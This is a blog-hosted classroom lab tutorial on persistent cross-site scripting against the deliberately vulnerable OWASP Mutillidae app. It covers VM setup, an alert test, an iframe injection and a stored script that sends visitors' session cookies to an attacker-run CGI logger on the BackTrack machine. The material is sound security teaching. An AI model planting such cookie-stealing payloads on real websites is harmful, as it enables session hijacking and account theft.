Chuyển đến nội dung chính

Bài Hướng Dẫn Mutillidae : Lesson 14 - Persistent Cross Site Scripting Injection #1

  • What is Mutillidae?
    • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
  • What is a Reflective Cross Site Scripting?
    • The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.
     
  • What is a Persistent Cross Site Scripting Injection?
    • The persistent XSS vulnerability is a more devastating variant because the injection is actually permanently stored in the blog, message board, etc.
    • Imagine if a sensitive website had a poor designer did not test for injections.  A malicious person could simply put in a hidden cookie harvester script and sit back and watch there logs for SESSION cookies.
     
  • Pre-Requisite Lab
    1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora
      • Note: Remote database access has been turned on to provide an additional vulnerability.
    2. BackTrack: Lesson 1: Installing BackTrack 5
      • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
    3. BackTrack: Lesson 9: How To Install Firebug
      • Note: Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
    4. Mutillidae: Lesson 13: Reflected Cross Site Scripting Injection #1, Man-In-The-Middle
      • Note: If you have not completed the above lab, you will need to complete (Section 13. Prepare BackTrack CGI Cookie Script) before proceeding.
  • Lab Notes
    • In this lab we will do the following:
      1. Due to a purposely bug in the add-to-your-blog.php code, we will use Persistent Cross Site Scripting Techniques to test for vulnerabilities.
      2. In the blog, we will store a windows alert popup box.
      3. In the blog, we will store an iframe.
      4. In the blog, we will store/capture UserID and Session Cookie Data.
  • Legal Disclaimer - bài hướng dẫn thực hành trong lớp học
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit Fedora Mutillidae Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click the OK Button

Section 2. Login to Fedora14 - Mutillidae
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14 - Mutillidae
      3. Play virtual machine
  2. Login to Fedora14 - Mutillidae
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes (FYI):
      • As indicated below, my IP address is 192.168.1.111.
      • Please record your IP address.

Section 4. Configure BackTrack Virtual Machine Settings
  1. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

Section 5. Play and Login to BackTrack
  1. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 6. Open Console Terminal and Retrieve IP Address
  1. On BackTrack, Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  2. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.112.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Mutillidae).
Section 7. Open Mutillidae
  1. On BackTrack, Open Firefox
    • Instructions:
      1. Click on the Firefox Icon
    • Notes (FYI):
      • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
  2. Open Mutillidae
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
  3. Start Apache2
    • Instructions:
      1. service apache2 start
      2. service apache2 status
      3. ps -eaf | grep apache2 | grep -v grep
    • Note(FYI):
      1. Start up the apache2 webserver.
      2. Display the status of the apache2 webserver.
      3. See the processes of the apache2 webserver.

Section 8. Persistent Cross Site Script(XSS) Example #1
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. Basic Cross Site Scripting(XSS) Test
    • Instructions:
      1. Place the below text in the comment box.
        • <script>alert("Hello")</script>
      2. Click the Save Blog Entry Button
    • Notes (FYI):
      1. This is one of the most basic vulnerability tests to see if a windows alert popup is displayed.
  3. View XSS Results
    • Instructions:
      1. Click the OK Button
    • Notes (FYI):
      1. This is a successful Cross Site Scripting(XSS) Test.
  4. Navigate to View Blogs
    • Instructions:
      1. Click the View Blogs Link
  5. Show All Blog Entries
    • Instructions:
      1. Select Show All
      2. Click the View Blog Entries Button
  6. View XSS Results
    • Instructions:
      1. Click the OK Button
    • Notes (FYI):
      • Notice that the XSS injection from earlier was stored in the blog.
      • The storing of the XSS injection is what make this type of attack Persistent.  Because it never goes away until somebody clues in and protects their website.
  7. Reset Database
    • Instructions:
      1. Click the Reset DB Link
    • Notes (FYI):
      • This link will remove the XSS Injection from the database.
  8. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 9. Persistent Cross Site Script(XSS) Example #2
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. <iframe> Cross Site Scripting(XSS) Test
    • Instructions:
      1. Place the below text in the comment box.
        • <iframe src="http://www.cnn.com"></iframe>
      2. Click the Save Blog Entry Button
    • Notes (FYI):
      1. Now we are trying to see if we can display a website inside of the blog record using the <iframe> tag.
  3. View <iframe> Cross Site Scripting(XSS) Results
    • Instructions:
      1. Notice CNN is displayed in the blog.
    • Notes (FYI):
      1. Although this is benign in nature, a malicious person could easily make this malignant in a hurry. 
  4. Reset Database
    • Instructions:
      1. Click the Reset DB Link
    • Notes (FYI):
      • This link will remove the XSS Injection from the database.
  5. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 9. Persistent Cross Site Script(XSS) Example #3
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. Inspect Element
    • Instructions:
      1. Right Click in the Comment Box
      2. Click Inspect Element
    • Note(FYI):
      1. This is not a necessary step for the injection.  The goal is to allow the injection attempt to remain on the same line instead of being word-wrapped.
  3. Change Text Area Column Length
    • Instructions:
      1. Change 65 to 95
      2. Click Close Button (See Picture)
  4. Cookie Harvest0r Cross Site Script (XSS) Injection
    • Note(FYI):
      1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
      2. This JavaScript tells the web browser to send the cookies back to the CGI Cookie Script on the BackTrack Machine.
    • Instructions:
      1. Place the below text in the comment box.
        • <SCRIPT>document.location="http://192.168.1.112/cgi-bin/logit.pl?"+document.cookie</SCRIPT>
      2. Click the Save Blog Entry
  5. View Cookie Harvest0r Cross Site Script (XSS) Results
    • Instructions:
      1. Click on the tab to create a new webpage.
    • Note(FYI):
      1. Notice the PHPSESSID (aka., document.cookie) information was sent to the BackTrack cgi script.
  6. Open Mutillidae
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3).
      2. After you click on Add to your blog, you will again be redirected to the BackTrack CGI Havest0r script.
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
      2. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  7. View Cookie Harvest0r Cross Site Script (XSS) Results
    • Instructions:
      1. Click on the tab to create a new webpage.
    • Note(FYI):
      1. Notice that almost immediately when you click on "Add to your blog" you are immediately redirected BackTrack's Cookie Havest0r Script.
      2. This type of exploit could be very malicious by just altering the verbose logging, where the cookie information is sent under the radar.
  8. Reset Database
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3).
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
      2. Click the Reset DB Link
  9. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button

Section 10. Proof of Lab
  1. On BackTrack, Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
     
  2. Proof of Lab, (On a BackTrack Terminal)
    • Instructions:
      1. cd /var/www/logdir
      2. cat log.txt
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions:
      1. Do a PrtScn
      2. Paste into a word document
      3. Upload to website www.antoanthongtin.edu.vn



Linksys WUSB54GC ver 3 BackTrack Compatible Wireless Card.
Perfect for Wardriving

Another Alfa Product Perfect for Wardriving

NETGEAR wg111v2

ZyXEL AG-225H v2

BCM4312 802.11b/g LP-PHY

D-Link WNA-2330 PCMCIA

Atheros AR9285


  

Bài đăng phổ biến từ blog này

Hack the Pentester Lab: from SQL injection to Shell VM

Today we are going to perform penetration testing in another lab, download it from here . Now install the iso image in VM ware and start it. The task given in this lab is to gain access of administration console and upload PHP webshell. Start your Kali Linux then open the terminal and type netdiscover command for scanning network. Here 192.168.0.105 is my target IP which is shown in the screenshot. Then explore this IP in browser When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test;  ruxcon; 2010; all pictures; admin. Now Click on test . The above URL : http://192.168.1.105/cat.php?id=1 will run query for ID 1 now let try to find out whether the above URL is vulnerable to sql injection or not by adding ‘ at last of URL: http://192.168.1.105/cat.php?id=1 ’ . And I have got a message of sql error. It confirms that this web page is suffering from sql vulnerability. Now ...

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...

10 Security Vulnerabilities That Broke the World Wide Web in 2016

Information security is a subject in cyber-world which we can’t think away anymore. Data breaches can cost millions when sensitive information is leaked on the Internet. Zero-day exploits pop up for sale every day in deep web forums in return for Bitcoins. However, few exploits are disclosed in public domain once the vulnerability is patched by the vendor. This past year, we had over 6400 common vulnerabilities and exposures which were issued a CVE ID. There were few major bug fixes by the vendors serving backbone of the Internet. Here is the list of top 10 security vulnerabilities which came to light this year. 1. Dirty Cow (CVE-2016-5195) Discovered by Phil Oester,  Dirty Cow , is a kernel vulnerability that allows any unprivileged existing user to escalate its privilege to root. Root is the highest privilege on any UNIX or LINUX system, which has access to all the files. This vulnerability is known as privilege escalation. COW (Change on Write) is a technique used by Linux to re...